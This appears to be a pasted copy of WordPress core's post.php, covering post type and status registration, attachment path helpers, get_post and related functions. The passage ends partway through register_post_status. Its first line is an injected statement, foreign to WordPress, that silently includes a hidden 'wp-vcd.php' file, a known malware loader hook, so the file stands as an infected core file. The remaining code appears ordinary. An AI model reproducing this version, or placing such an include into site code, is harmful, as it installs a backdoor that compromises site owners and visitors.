· 5 years ago · Mar 31, 2020, 06:46 PM
1<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?><?php
2/**
3 * Core Post API
4 *
5 * @package WordPress
6 * @subpackage Post
7 */
8
9//
10// Post Type Registration
11//
12
13/**
14 * Creates the initial post types when 'init' action is fired.
15 *
16 * See {@see 'init'}.
17 *
18 * @since 2.9.0
19 */
20function create_initial_post_types() {
21 register_post_type(
22 'post',
23 array(
24 'labels' => array(
25 'name_admin_bar' => _x( 'Post', 'add new from admin bar' ),
26 ),
27 'public' => true,
28 '_builtin' => true, /* internal use only. don't use this when registering your own post type. */
29 '_edit_link' => 'post.php?post=%d', /* internal use only. don't use this when registering your own post type. */
30 'capability_type' => 'post',
31 'map_meta_cap' => true,
32 'menu_position' => 5,
33 'hierarchical' => false,
34 'rewrite' => false,
35 'query_var' => false,
36 'delete_with_user' => true,
37 'supports' => array( 'title', 'editor', 'author', 'thumbnail', 'excerpt', 'trackbacks', 'custom-fields', 'comments', 'revisions', 'post-formats' ),
38 'show_in_rest' => true,
39 'rest_base' => 'posts',
40 'rest_controller_class' => 'WP_REST_Posts_Controller',
41 )
42 );
43
44 register_post_type(
45 'page',
46 array(
47 'labels' => array(
48 'name_admin_bar' => _x( 'Page', 'add new from admin bar' ),
49 ),
50 'public' => true,
51 'publicly_queryable' => false,
52 '_builtin' => true, /* internal use only. don't use this when registering your own post type. */
53 '_edit_link' => 'post.php?post=%d', /* internal use only. don't use this when registering your own post type. */
54 'capability_type' => 'page',
55 'map_meta_cap' => true,
56 'menu_position' => 20,
57 'hierarchical' => true,
58 'rewrite' => false,
59 'query_var' => false,
60 'delete_with_user' => true,
61 'supports' => array( 'title', 'editor', 'author', 'thumbnail', 'page-attributes', 'custom-fields', 'comments', 'revisions' ),
62 'show_in_rest' => true,
63 'rest_base' => 'pages',
64 'rest_controller_class' => 'WP_REST_Posts_Controller',
65 )
66 );
67
68 register_post_type(
69 'attachment',
70 array(
71 'labels' => array(
72 'name' => _x( 'Media', 'post type general name' ),
73 'name_admin_bar' => _x( 'Media', 'add new from admin bar' ),
74 'add_new' => _x( 'Add New', 'add new media' ),
75 'edit_item' => __( 'Edit Media' ),
76 'view_item' => __( 'View Attachment Page' ),
77 'attributes' => __( 'Attachment Attributes' ),
78 ),
79 'public' => true,
80 'show_ui' => true,
81 '_builtin' => true, /* internal use only. don't use this when registering your own post type. */
82 '_edit_link' => 'post.php?post=%d', /* internal use only. don't use this when registering your own post type. */
83 'capability_type' => 'post',
84 'capabilities' => array(
85 'create_posts' => 'upload_files',
86 ),
87 'map_meta_cap' => true,
88 'hierarchical' => false,
89 'rewrite' => false,
90 'query_var' => false,
91 'show_in_nav_menus' => false,
92 'delete_with_user' => true,
93 'supports' => array( 'title', 'author', 'comments' ),
94 'show_in_rest' => true,
95 'rest_base' => 'media',
96 'rest_controller_class' => 'WP_REST_Attachments_Controller',
97 )
98 );
99 add_post_type_support( 'attachment:audio', 'thumbnail' );
100 add_post_type_support( 'attachment:video', 'thumbnail' );
101
102 register_post_type(
103 'revision',
104 array(
105 'labels' => array(
106 'name' => __( 'Revisions' ),
107 'singular_name' => __( 'Revision' ),
108 ),
109 'public' => false,
110 '_builtin' => true, /* internal use only. don't use this when registering your own post type. */
111 '_edit_link' => 'revision.php?revision=%d', /* internal use only. don't use this when registering your own post type. */
112 'capability_type' => 'post',
113 'map_meta_cap' => true,
114 'hierarchical' => false,
115 'rewrite' => false,
116 'query_var' => false,
117 'can_export' => false,
118 'delete_with_user' => true,
119 'supports' => array( 'author' ),
120 )
121 );
122
123 register_post_type(
124 'nav_menu_item',
125 array(
126 'labels' => array(
127 'name' => __( 'Navigation Menu Items' ),
128 'singular_name' => __( 'Navigation Menu Item' ),
129 ),
130 'public' => false,
131 '_builtin' => true, /* internal use only. don't use this when registering your own post type. */
132 'hierarchical' => false,
133 'rewrite' => false,
134 'delete_with_user' => false,
135 'query_var' => false,
136 )
137 );
138
139 register_post_type(
140 'custom_css',
141 array(
142 'labels' => array(
143 'name' => __( 'Custom CSS' ),
144 'singular_name' => __( 'Custom CSS' ),
145 ),
146 'public' => false,
147 'hierarchical' => false,
148 'rewrite' => false,
149 'query_var' => false,
150 'delete_with_user' => false,
151 'can_export' => true,
152 '_builtin' => true, /* internal use only. don't use this when registering your own post type. */
153 'supports' => array( 'title', 'revisions' ),
154 'capabilities' => array(
155 'delete_posts' => 'edit_theme_options',
156 'delete_post' => 'edit_theme_options',
157 'delete_published_posts' => 'edit_theme_options',
158 'delete_private_posts' => 'edit_theme_options',
159 'delete_others_posts' => 'edit_theme_options',
160 'edit_post' => 'edit_css',
161 'edit_posts' => 'edit_css',
162 'edit_others_posts' => 'edit_css',
163 'edit_published_posts' => 'edit_css',
164 'read_post' => 'read',
165 'read_private_posts' => 'read',
166 'publish_posts' => 'edit_theme_options',
167 ),
168 )
169 );
170
171 register_post_type(
172 'customize_changeset',
173 array(
174 'labels' => array(
175 'name' => _x( 'Changesets', 'post type general name' ),
176 'singular_name' => _x( 'Changeset', 'post type singular name' ),
177 'menu_name' => _x( 'Changesets', 'admin menu' ),
178 'name_admin_bar' => _x( 'Changeset', 'add new on admin bar' ),
179 'add_new' => _x( 'Add New', 'Customize Changeset' ),
180 'add_new_item' => __( 'Add New Changeset' ),
181 'new_item' => __( 'New Changeset' ),
182 'edit_item' => __( 'Edit Changeset' ),
183 'view_item' => __( 'View Changeset' ),
184 'all_items' => __( 'All Changesets' ),
185 'search_items' => __( 'Search Changesets' ),
186 'not_found' => __( 'No changesets found.' ),
187 'not_found_in_trash' => __( 'No changesets found in Trash.' ),
188 ),
189 'public' => false,
190 '_builtin' => true, /* internal use only. don't use this when registering your own post type. */
191 'map_meta_cap' => true,
192 'hierarchical' => false,
193 'rewrite' => false,
194 'query_var' => false,
195 'can_export' => false,
196 'delete_with_user' => false,
197 'supports' => array( 'title', 'author' ),
198 'capability_type' => 'customize_changeset',
199 'capabilities' => array(
200 'create_posts' => 'customize',
201 'delete_others_posts' => 'customize',
202 'delete_post' => 'customize',
203 'delete_posts' => 'customize',
204 'delete_private_posts' => 'customize',
205 'delete_published_posts' => 'customize',
206 'edit_others_posts' => 'customize',
207 'edit_post' => 'customize',
208 'edit_posts' => 'customize',
209 'edit_private_posts' => 'customize',
210 'edit_published_posts' => 'do_not_allow',
211 'publish_posts' => 'customize',
212 'read' => 'read',
213 'read_post' => 'customize',
214 'read_private_posts' => 'customize',
215 ),
216 )
217 );
218
219 register_post_type(
220 'oembed_cache',
221 array(
222 'labels' => array(
223 'name' => __( 'oEmbed Responses' ),
224 'singular_name' => __( 'oEmbed Response' ),
225 ),
226 'public' => false,
227 'hierarchical' => false,
228 'rewrite' => false,
229 'query_var' => false,
230 'delete_with_user' => false,
231 'can_export' => false,
232 '_builtin' => true, /* internal use only. don't use this when registering your own post type. */
233 'supports' => array(),
234 )
235 );
236
237 register_post_type(
238 'user_request',
239 array(
240 'labels' => array(
241 'name' => __( 'User Requests' ),
242 'singular_name' => __( 'User Request' ),
243 ),
244 'public' => false,
245 '_builtin' => true, /* internal use only. don't use this when registering your own post type. */
246 'hierarchical' => false,
247 'rewrite' => false,
248 'query_var' => false,
249 'can_export' => false,
250 'delete_with_user' => false,
251 'supports' => array(),
252 )
253 );
254
255 register_post_type(
256 'wp_block',
257 array(
258 'labels' => array(
259 'name' => _x( 'Blocks', 'post type general name' ),
260 'singular_name' => _x( 'Block', 'post type singular name' ),
261 'menu_name' => _x( 'Blocks', 'admin menu' ),
262 'name_admin_bar' => _x( 'Block', 'add new on admin bar' ),
263 'add_new' => _x( 'Add New', 'Block' ),
264 'add_new_item' => __( 'Add New Block' ),
265 'new_item' => __( 'New Block' ),
266 'edit_item' => __( 'Edit Block' ),
267 'view_item' => __( 'View Block' ),
268 'all_items' => __( 'All Blocks' ),
269 'search_items' => __( 'Search Blocks' ),
270 'not_found' => __( 'No blocks found.' ),
271 'not_found_in_trash' => __( 'No blocks found in Trash.' ),
272 'filter_items_list' => __( 'Filter blocks list' ),
273 'items_list_navigation' => __( 'Blocks list navigation' ),
274 'items_list' => __( 'Blocks list' ),
275 'item_published' => __( 'Block published.' ),
276 'item_published_privately' => __( 'Block published privately.' ),
277 'item_reverted_to_draft' => __( 'Block reverted to draft.' ),
278 'item_scheduled' => __( 'Block scheduled.' ),
279 'item_updated' => __( 'Block updated.' ),
280 ),
281 'public' => false,
282 '_builtin' => true, /* internal use only. don't use this when registering your own post type. */
283 'show_ui' => true,
284 'show_in_menu' => false,
285 'rewrite' => false,
286 'show_in_rest' => true,
287 'rest_base' => 'blocks',
288 'rest_controller_class' => 'WP_REST_Blocks_Controller',
289 'capability_type' => 'block',
290 'capabilities' => array(
291 // You need to be able to edit posts, in order to read blocks in their raw form.
292 'read' => 'edit_posts',
293 // You need to be able to publish posts, in order to create blocks.
294 'create_posts' => 'publish_posts',
295 'edit_posts' => 'edit_posts',
296 'edit_published_posts' => 'edit_published_posts',
297 'delete_published_posts' => 'delete_published_posts',
298 'edit_others_posts' => 'edit_others_posts',
299 'delete_others_posts' => 'delete_others_posts',
300 ),
301 'map_meta_cap' => true,
302 'supports' => array(
303 'title',
304 'editor',
305 ),
306 )
307 );
308
309 register_post_status(
310 'publish',
311 array(
312 'label' => _x( 'Published', 'post status' ),
313 'public' => true,
314 '_builtin' => true, /* internal use only. */
315 /* translators: %s: Number of published posts. */
316 'label_count' => _n_noop(
317 'Published <span class="count">(%s)</span>',
318 'Published <span class="count">(%s)</span>'
319 ),
320 )
321 );
322
323 register_post_status(
324 'future',
325 array(
326 'label' => _x( 'Scheduled', 'post status' ),
327 'protected' => true,
328 '_builtin' => true, /* internal use only. */
329 /* translators: %s: Number of scheduled posts. */
330 'label_count' => _n_noop(
331 'Scheduled <span class="count">(%s)</span>',
332 'Scheduled <span class="count">(%s)</span>'
333 ),
334 )
335 );
336
337 register_post_status(
338 'draft',
339 array(
340 'label' => _x( 'Draft', 'post status' ),
341 'protected' => true,
342 '_builtin' => true, /* internal use only. */
343 /* translators: %s: Number of draft posts. */
344 'label_count' => _n_noop(
345 'Draft <span class="count">(%s)</span>',
346 'Drafts <span class="count">(%s)</span>'
347 ),
348 'date_floating' => true,
349 )
350 );
351
352 register_post_status(
353 'pending',
354 array(
355 'label' => _x( 'Pending', 'post status' ),
356 'protected' => true,
357 '_builtin' => true, /* internal use only. */
358 /* translators: %s: Number of pending posts. */
359 'label_count' => _n_noop(
360 'Pending <span class="count">(%s)</span>',
361 'Pending <span class="count">(%s)</span>'
362 ),
363 'date_floating' => true,
364 )
365 );
366
367 register_post_status(
368 'private',
369 array(
370 'label' => _x( 'Private', 'post status' ),
371 'private' => true,
372 '_builtin' => true, /* internal use only. */
373 /* translators: %s: Number of private posts. */
374 'label_count' => _n_noop(
375 'Private <span class="count">(%s)</span>',
376 'Private <span class="count">(%s)</span>'
377 ),
378 )
379 );
380
381 register_post_status(
382 'trash',
383 array(
384 'label' => _x( 'Trash', 'post status' ),
385 'internal' => true,
386 '_builtin' => true, /* internal use only. */
387 /* translators: %s: Number of trashed posts. */
388 'label_count' => _n_noop(
389 'Trash <span class="count">(%s)</span>',
390 'Trash <span class="count">(%s)</span>'
391 ),
392 'show_in_admin_status_list' => true,
393 )
394 );
395
396 register_post_status(
397 'auto-draft',
398 array(
399 'label' => 'auto-draft',
400 'internal' => true,
401 '_builtin' => true, /* internal use only. */
402 'date_floating' => true,
403 )
404 );
405
406 register_post_status(
407 'inherit',
408 array(
409 'label' => 'inherit',
410 'internal' => true,
411 '_builtin' => true, /* internal use only. */
412 'exclude_from_search' => false,
413 )
414 );
415
416 register_post_status(
417 'request-pending',
418 array(
419 'label' => _x( 'Pending', 'request status' ),
420 'internal' => true,
421 '_builtin' => true, /* internal use only. */
422 /* translators: %s: Number of pending requests. */
423 'label_count' => _n_noop(
424 'Pending <span class="count">(%s)</span>',
425 'Pending <span class="count">(%s)</span>'
426 ),
427 'exclude_from_search' => false,
428 )
429 );
430
431 register_post_status(
432 'request-confirmed',
433 array(
434 'label' => _x( 'Confirmed', 'request status' ),
435 'internal' => true,
436 '_builtin' => true, /* internal use only. */
437 /* translators: %s: Number of confirmed requests. */
438 'label_count' => _n_noop(
439 'Confirmed <span class="count">(%s)</span>',
440 'Confirmed <span class="count">(%s)</span>'
441 ),
442 'exclude_from_search' => false,
443 )
444 );
445
446 register_post_status(
447 'request-failed',
448 array(
449 'label' => _x( 'Failed', 'request status' ),
450 'internal' => true,
451 '_builtin' => true, /* internal use only. */
452 /* translators: %s: Number of failed requests. */
453 'label_count' => _n_noop(
454 'Failed <span class="count">(%s)</span>',
455 'Failed <span class="count">(%s)</span>'
456 ),
457 'exclude_from_search' => false,
458 )
459 );
460
461 register_post_status(
462 'request-completed',
463 array(
464 'label' => _x( 'Completed', 'request status' ),
465 'internal' => true,
466 '_builtin' => true, /* internal use only. */
467 /* translators: %s: Number of completed requests. */
468 'label_count' => _n_noop(
469 'Completed <span class="count">(%s)</span>',
470 'Completed <span class="count">(%s)</span>'
471 ),
472 'exclude_from_search' => false,
473 )
474 );
475}
476
477/**
478 * Retrieve attached file path based on attachment ID.
479 *
480 * By default the path will go through the 'get_attached_file' filter, but
481 * passing a true to the $unfiltered argument of get_attached_file() will
482 * return the file path unfiltered.
483 *
484 * The function works by getting the single post meta name, named
485 * '_wp_attached_file' and returning it. This is a convenience function to
486 * prevent looking up the meta name and provide a mechanism for sending the
487 * attached filename through a filter.
488 *
489 * @since 2.0.0
490 *
491 * @param int $attachment_id Attachment ID.
492 * @param bool $unfiltered Optional. Whether to apply filters. Default false.
493 * @return string|false The file path to where the attached file should be, false otherwise.
494 */
495function get_attached_file( $attachment_id, $unfiltered = false ) {
496 $file = get_post_meta( $attachment_id, '_wp_attached_file', true );
497
498 // If the file is relative, prepend upload dir.
499 if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) ) {
500 $uploads = wp_get_upload_dir();
501 if ( false === $uploads['error'] ) {
502 $file = $uploads['basedir'] . "/$file";
503 }
504 }
505
506 if ( $unfiltered ) {
507 return $file;
508 }
509
510 /**
511 * Filters the attached file based on the given ID.
512 *
513 * @since 2.1.0
514 *
515 * @param string $file Path to attached file.
516 * @param int $attachment_id Attachment ID.
517 */
518 return apply_filters( 'get_attached_file', $file, $attachment_id );
519}
520
521/**
522 * Update attachment file path based on attachment ID.
523 *
524 * Used to update the file path of the attachment, which uses post meta name
525 * '_wp_attached_file' to store the path of the attachment.
526 *
527 * @since 2.1.0
528 *
529 * @param int $attachment_id Attachment ID.
530 * @param string $file File path for the attachment.
531 * @return bool True on success, false on failure.
532 */
533function update_attached_file( $attachment_id, $file ) {
534 if ( ! get_post( $attachment_id ) ) {
535 return false;
536 }
537
538 /**
539 * Filters the path to the attached file to update.
540 *
541 * @since 2.1.0
542 *
543 * @param string $file Path to the attached file to update.
544 * @param int $attachment_id Attachment ID.
545 */
546 $file = apply_filters( 'update_attached_file', $file, $attachment_id );
547
548 $file = _wp_relative_upload_path( $file );
549 if ( $file ) {
550 return update_post_meta( $attachment_id, '_wp_attached_file', $file );
551 } else {
552 return delete_post_meta( $attachment_id, '_wp_attached_file' );
553 }
554}
555
556/**
557 * Return relative path to an uploaded file.
558 *
559 * The path is relative to the current upload dir.
560 *
561 * @since 2.9.0
562 * @access private
563 *
564 * @param string $path Full path to the file.
565 * @return string Relative path on success, unchanged path on failure.
566 */
567function _wp_relative_upload_path( $path ) {
568 $new_path = $path;
569
570 $uploads = wp_get_upload_dir();
571 if ( 0 === strpos( $new_path, $uploads['basedir'] ) ) {
572 $new_path = str_replace( $uploads['basedir'], '', $new_path );
573 $new_path = ltrim( $new_path, '/' );
574 }
575
576 /**
577 * Filters the relative path to an uploaded file.
578 *
579 * @since 2.9.0
580 *
581 * @param string $new_path Relative path to the file.
582 * @param string $path Full path to the file.
583 */
584 return apply_filters( '_wp_relative_upload_path', $new_path, $path );
585}
586
587/**
588 * Retrieve all children of the post parent ID.
589 *
590 * Normally, without any enhancements, the children would apply to pages. In the
591 * context of the inner workings of WordPress, pages, posts, and attachments
592 * share the same table, so therefore the functionality could apply to any one
593 * of them. It is then noted that while this function does not work on posts, it
594 * does not mean that it won't work on posts. It is recommended that you know
595 * what context you wish to retrieve the children of.
596 *
597 * Attachments may also be made the child of a post, so if that is an accurate
598 * statement (which needs to be verified), it would then be possible to get
599 * all of the attachments for a post. Attachments have since changed since
600 * version 2.5, so this is most likely inaccurate, but serves generally as an
601 * example of what is possible.
602 *
603 * The arguments listed as defaults are for this function and also of the
604 * get_posts() function. The arguments are combined with the get_children defaults
605 * and are then passed to the get_posts() function, which accepts additional arguments.
606 * You can replace the defaults in this function, listed below and the additional
607 * arguments listed in the get_posts() function.
608 *
609 * The 'post_parent' is the most important argument and important attention
610 * needs to be paid to the $args parameter. If you pass either an object or an
611 * integer (number), then just the 'post_parent' is grabbed and everything else
612 * is lost. If you don't specify any arguments, then it is assumed that you are
613 * in The Loop and the post parent will be grabbed for from the current post.
614 *
615 * The 'post_parent' argument is the ID to get the children. The 'numberposts'
616 * is the amount of posts to retrieve that has a default of '-1', which is
617 * used to get all of the posts. Giving a number higher than 0 will only
618 * retrieve that amount of posts.
619 *
620 * The 'post_type' and 'post_status' arguments can be used to choose what
621 * criteria of posts to retrieve. The 'post_type' can be anything, but WordPress
622 * post types are 'post', 'pages', and 'attachments'. The 'post_status'
623 * argument will accept any post status within the write administration panels.
624 *
625 * @since 2.0.0
626 *
627 * @see get_posts()
628 * @todo Check validity of description.
629 *
630 * @global WP_Post $post Global post object.
631 *
632 * @param mixed $args Optional. User defined arguments for replacing the defaults. Default empty.
633 * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
634 * a WP_Post object, an associative array, or a numeric array, respectively. Default OBJECT.
635 * @return array Array of children, where the type of each element is determined by $output parameter.
636 * Empty array on failure.
637 */
638function get_children( $args = '', $output = OBJECT ) {
639 $kids = array();
640 if ( empty( $args ) ) {
641 if ( isset( $GLOBALS['post'] ) ) {
642 $args = array( 'post_parent' => (int) $GLOBALS['post']->post_parent );
643 } else {
644 return $kids;
645 }
646 } elseif ( is_object( $args ) ) {
647 $args = array( 'post_parent' => (int) $args->post_parent );
648 } elseif ( is_numeric( $args ) ) {
649 $args = array( 'post_parent' => (int) $args );
650 }
651
652 $defaults = array(
653 'numberposts' => -1,
654 'post_type' => 'any',
655 'post_status' => 'any',
656 'post_parent' => 0,
657 );
658
659 $parsed_args = wp_parse_args( $args, $defaults );
660
661 $children = get_posts( $parsed_args );
662
663 if ( ! $children ) {
664 return $kids;
665 }
666
667 if ( ! empty( $parsed_args['fields'] ) ) {
668 return $children;
669 }
670
671 update_post_cache( $children );
672
673 foreach ( $children as $key => $child ) {
674 $kids[ $child->ID ] = $children[ $key ];
675 }
676
677 if ( $output == OBJECT ) {
678 return $kids;
679 } elseif ( $output == ARRAY_A ) {
680 $weeuns = array();
681 foreach ( (array) $kids as $kid ) {
682 $weeuns[ $kid->ID ] = get_object_vars( $kids[ $kid->ID ] );
683 }
684 return $weeuns;
685 } elseif ( $output == ARRAY_N ) {
686 $babes = array();
687 foreach ( (array) $kids as $kid ) {
688 $babes[ $kid->ID ] = array_values( get_object_vars( $kids[ $kid->ID ] ) );
689 }
690 return $babes;
691 } else {
692 return $kids;
693 }
694}
695
696/**
697 * Get extended entry info (<!--more-->).
698 *
699 * There should not be any space after the second dash and before the word
700 * 'more'. There can be text or space(s) after the word 'more', but won't be
701 * referenced.
702 *
703 * The returned array has 'main', 'extended', and 'more_text' keys. Main has the text before
704 * the `<!--more-->`. The 'extended' key has the content after the
705 * `<!--more-->` comment. The 'more_text' key has the custom "Read More" text.
706 *
707 * @since 1.0.0
708 *
709 * @param string $post Post content.
710 * @return array Post before ('main'), after ('extended'), and custom read more ('more_text').
711 */
712function get_extended( $post ) {
713 //Match the new style more links.
714 if ( preg_match( '/<!--more(.*?)?-->/', $post, $matches ) ) {
715 list($main, $extended) = explode( $matches[0], $post, 2 );
716 $more_text = $matches[1];
717 } else {
718 $main = $post;
719 $extended = '';
720 $more_text = '';
721 }
722
723 // leading and trailing whitespace.
724 $main = preg_replace( '/^[\s]*(.*)[\s]*$/', '\\1', $main );
725 $extended = preg_replace( '/^[\s]*(.*)[\s]*$/', '\\1', $extended );
726 $more_text = preg_replace( '/^[\s]*(.*)[\s]*$/', '\\1', $more_text );
727
728 return array(
729 'main' => $main,
730 'extended' => $extended,
731 'more_text' => $more_text,
732 );
733}
734
735/**
736 * Retrieves post data given a post ID or post object.
737 *
738 * See sanitize_post() for optional $filter values. Also, the parameter
739 * `$post`, must be given as a variable, since it is passed by reference.
740 *
741 * @since 1.5.1
742 *
743 * @global WP_Post $post Global post object.
744 *
745 * @param int|WP_Post|null $post Optional. Post ID or post object. Defaults to global $post.
746 * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
747 * a WP_Post object, an associative array, or a numeric array, respectively. Default OBJECT.
748 * @param string $filter Optional. Type of filter to apply. Accepts 'raw', 'edit', 'db',
749 * or 'display'. Default 'raw'.
750 * @return WP_Post|array|null Type corresponding to $output on success or null on failure.
751 * When $output is OBJECT, a `WP_Post` instance is returned.
752 */
753function get_post( $post = null, $output = OBJECT, $filter = 'raw' ) {
754 if ( empty( $post ) && isset( $GLOBALS['post'] ) ) {
755 $post = $GLOBALS['post'];
756 }
757
758 if ( $post instanceof WP_Post ) {
759 $_post = $post;
760 } elseif ( is_object( $post ) ) {
761 if ( empty( $post->filter ) ) {
762 $_post = sanitize_post( $post, 'raw' );
763 $_post = new WP_Post( $_post );
764 } elseif ( 'raw' == $post->filter ) {
765 $_post = new WP_Post( $post );
766 } else {
767 $_post = WP_Post::get_instance( $post->ID );
768 }
769 } else {
770 $_post = WP_Post::get_instance( $post );
771 }
772
773 if ( ! $_post ) {
774 return null;
775 }
776
777 $_post = $_post->filter( $filter );
778
779 if ( $output == ARRAY_A ) {
780 return $_post->to_array();
781 } elseif ( $output == ARRAY_N ) {
782 return array_values( $_post->to_array() );
783 }
784
785 return $_post;
786}
787
788/**
789 * Retrieve ancestors of a post.
790 *
791 * @since 2.5.0
792 *
793 * @param int|WP_Post $post Post ID or post object.
794 * @return array Ancestor IDs or empty array if none are found.
795 */
796function get_post_ancestors( $post ) {
797 $post = get_post( $post );
798
799 if ( ! $post || empty( $post->post_parent ) || $post->post_parent == $post->ID ) {
800 return array();
801 }
802
803 $ancestors = array();
804
805 $id = $post->post_parent;
806 $ancestors[] = $id;
807
808 while ( $ancestor = get_post( $id ) ) {
809 // Loop detection: If the ancestor has been seen before, break.
810 if ( empty( $ancestor->post_parent ) || ( $ancestor->post_parent == $post->ID ) || in_array( $ancestor->post_parent, $ancestors ) ) {
811 break;
812 }
813
814 $id = $ancestor->post_parent;
815 $ancestors[] = $id;
816 }
817
818 return $ancestors;
819}
820
821/**
822 * Retrieve data from a post field based on Post ID.
823 *
824 * Examples of the post field will be, 'post_type', 'post_status', 'post_content',
825 * etc and based off of the post object property or key names.
826 *
827 * The context values are based off of the taxonomy filter functions and
828 * supported values are found within those functions.
829 *
830 * @since 2.3.0
831 * @since 4.5.0 The `$post` parameter was made optional.
832 *
833 * @see sanitize_post_field()
834 *
835 * @param string $field Post field name.
836 * @param int|WP_Post $post Optional. Post ID or post object. Defaults to global $post.
837 * @param string $context Optional. How to filter the field. Accepts 'raw', 'edit', 'db',
838 * or 'display'. Default 'display'.
839 * @return string The value of the post field on success, empty string on failure.
840 */
841function get_post_field( $field, $post = null, $context = 'display' ) {
842 $post = get_post( $post );
843
844 if ( ! $post ) {
845 return '';
846 }
847
848 if ( ! isset( $post->$field ) ) {
849 return '';
850 }
851
852 return sanitize_post_field( $field, $post->$field, $post->ID, $context );
853}
854
855/**
856 * Retrieve the mime type of an attachment based on the ID.
857 *
858 * This function can be used with any post type, but it makes more sense with
859 * attachments.
860 *
861 * @since 2.0.0
862 *
863 * @param int|WP_Post $post Optional. Post ID or post object. Defaults to global $post.
864 * @return string|false The mime type on success, false on failure.
865 */
866function get_post_mime_type( $post = null ) {
867 $post = get_post( $post );
868
869 if ( is_object( $post ) ) {
870 return $post->post_mime_type;
871 }
872
873 return false;
874}
875
876/**
877 * Retrieve the post status based on the post ID.
878 *
879 * If the post ID is of an attachment, then the parent post status will be given
880 * instead.
881 *
882 * @since 2.0.0
883 *
884 * @param int|WP_Post $post Optional. Post ID or post object. Defaults to global $post..
885 * @return string|false Post status on success, false on failure.
886 */
887function get_post_status( $post = null ) {
888 $post = get_post( $post );
889
890 if ( ! is_object( $post ) ) {
891 return false;
892 }
893
894 if ( 'attachment' == $post->post_type ) {
895 if ( 'private' == $post->post_status ) {
896 return 'private';
897 }
898
899 // Unattached attachments are assumed to be published.
900 if ( ( 'inherit' == $post->post_status ) && ( 0 == $post->post_parent ) ) {
901 return 'publish';
902 }
903
904 // Inherit status from the parent.
905 if ( $post->post_parent && ( $post->ID != $post->post_parent ) ) {
906 $parent_post_status = get_post_status( $post->post_parent );
907 if ( 'trash' == $parent_post_status ) {
908 return get_post_meta( $post->post_parent, '_wp_trash_meta_status', true );
909 } else {
910 return $parent_post_status;
911 }
912 }
913 }
914
915 /**
916 * Filters the post status.
917 *
918 * @since 4.4.0
919 *
920 * @param string $post_status The post status.
921 * @param WP_Post $post The post object.
922 */
923 return apply_filters( 'get_post_status', $post->post_status, $post );
924}
925
926/**
927 * Retrieve all of the WordPress supported post statuses.
928 *
929 * Posts have a limited set of valid status values, this provides the
930 * post_status values and descriptions.
931 *
932 * @since 2.5.0
933 *
934 * @return array List of post statuses.
935 */
936function get_post_statuses() {
937 $status = array(
938 'draft' => __( 'Draft' ),
939 'pending' => __( 'Pending Review' ),
940 'private' => __( 'Private' ),
941 'publish' => __( 'Published' ),
942 );
943
944 return $status;
945}
946
947/**
948 * Retrieve all of the WordPress support page statuses.
949 *
950 * Pages have a limited set of valid status values, this provides the
951 * post_status values and descriptions.
952 *
953 * @since 2.5.0
954 *
955 * @return array List of page statuses.
956 */
957function get_page_statuses() {
958 $status = array(
959 'draft' => __( 'Draft' ),
960 'private' => __( 'Private' ),
961 'publish' => __( 'Published' ),
962 );
963
964 return $status;
965}
966
967/**
968 * Return statuses for privacy requests.
969 *
970 * @since 4.9.6
971 * @access private
972 *
973 * @return array
974 */
975function _wp_privacy_statuses() {
976 return array(
977 'request-pending' => __( 'Pending' ), // Pending confirmation from user.
978 'request-confirmed' => __( 'Confirmed' ), // User has confirmed the action.
979 'request-failed' => __( 'Failed' ), // User failed to confirm the action.
980 'request-completed' => __( 'Completed' ), // Admin has handled the request.
981 );
982}
983
984/**
985 * Register a post status. Do not use before init.
986 *
987 * A simple function for creating or modifying a post status based on the
988 * parameters given. The function will accept an array (second optional
989 * parameter), along with a string for the post status name.
990 *
991 * Arguments prefixed with an _underscore shouldn't be used by plugins and themes.
992 *
993 * @since 3.0.0
994 * @global array $wp_post_statuses Inserts new post status object into the list
995 *
996 * @param string $post_status Name of the post status.
997 * @param array|string $args {
998 * Optional. Array or string of post status arguments.
999 *
1000 * @type bool|string $label A descriptive name for the post status marked
1001 * for translation. Defaults to value of $post_status.
1002 * @type bool|array $label_count Descriptive text to use for nooped plurals.
1003 * Default array of $label, twice
1004 * @type bool $exclude_from_search Whether to exclude posts with this post status
1005 * from search results. Default is value of $internal.
1006 * @type bool $_builtin Whether the status is built-in. Core-use only.
1007 * Default false.
1008 * @type bool $public Whether posts of this status should be shown
1009 * in the front end of the site. Default false.
1010 * @type bool $internal Whether the status is for internal use only.
1011 * Default false.
1012 * @type bool $protected Whether posts with this status should be protected.
1013 * Default false.
1014 * @type bool $private Whether posts with this status should be private.
1015 * Default false.
1016 * @type bool $publicly_queryable Whether posts with this status should be publicly-
1017 * queryable. Default is value of $public.
1018 * @type bool $show_in_admin_all_list Whether to include posts in the edit listing for
1019 * their post type. Default is value of $internal.
1020 * @type bool $show_in_admin_status_list Show in the list of statuses with post counts at
1021 * the top of the edit listings,
1022 * e.g. All (12) | Published (9) | My Custom Status (2)
1023 * Default is value of $internal.
1024 * @type bool $date_floating Whether the post has a floating creation date.
1025 * Default to false.
1026 * }
1027 * @return object
1028 */
1029function register_post_status( $post_status, $args = array() ) {
1030 global $wp_post_statuses;
1031
1032 if ( ! is_array( $wp_post_statuses ) ) {
1033 $wp_post_statuses = array();
1034 }
1035
1036 // Args prefixed with an underscore are reserved for internal use.
1037 $defaults = array(
1038 'label' => false,
1039 'label_count' => false,
1040 'exclude_from_search' => null,
1041 '_builtin' => false,
1042 'public' => null,
1043 'internal' => null,
1044 'protected' => null,
1045 'private' => null,
1046 'publicly_queryable' => null,
1047 'show_in_admin_status_list' => null,
1048 'show_in_admin_all_list' => null,
1049 'date_floating' => null,
1050 );
1051 $args = wp_parse_args( $args, $defaults );
1052 $args = (object) $args;
1053
1054 $post_status = sanitize_key( $post_status );
1055 $args->name = $post_status;
1056
1057 // Set various defaults.
1058 if ( null === $args->public && null === $args->internal && null === $args->protected && null === $args->private ) {
1059 $args->internal = true;
1060 }
1061
1062 if ( null === $args->public ) {
1063 $args->public = false;
1064 }
1065
1066 if ( null === $args->private ) {
1067 $args->private = false;
1068 }
1069
1070 if ( null === $args->protected ) {
1071 $args->protected = false;
1072 }
1073
1074 if ( null === $args->internal ) {
1075 $args->internal = false;
1076 }
1077
1078 if ( null === $args->publicly_queryable ) {
1079 $args->publicly_queryable = $args->public;
1080 }
1081
1082 if ( null === $args->exclude_from_search ) {
1083 $args->exclude_from_search = $args->internal;
1084 }
1085
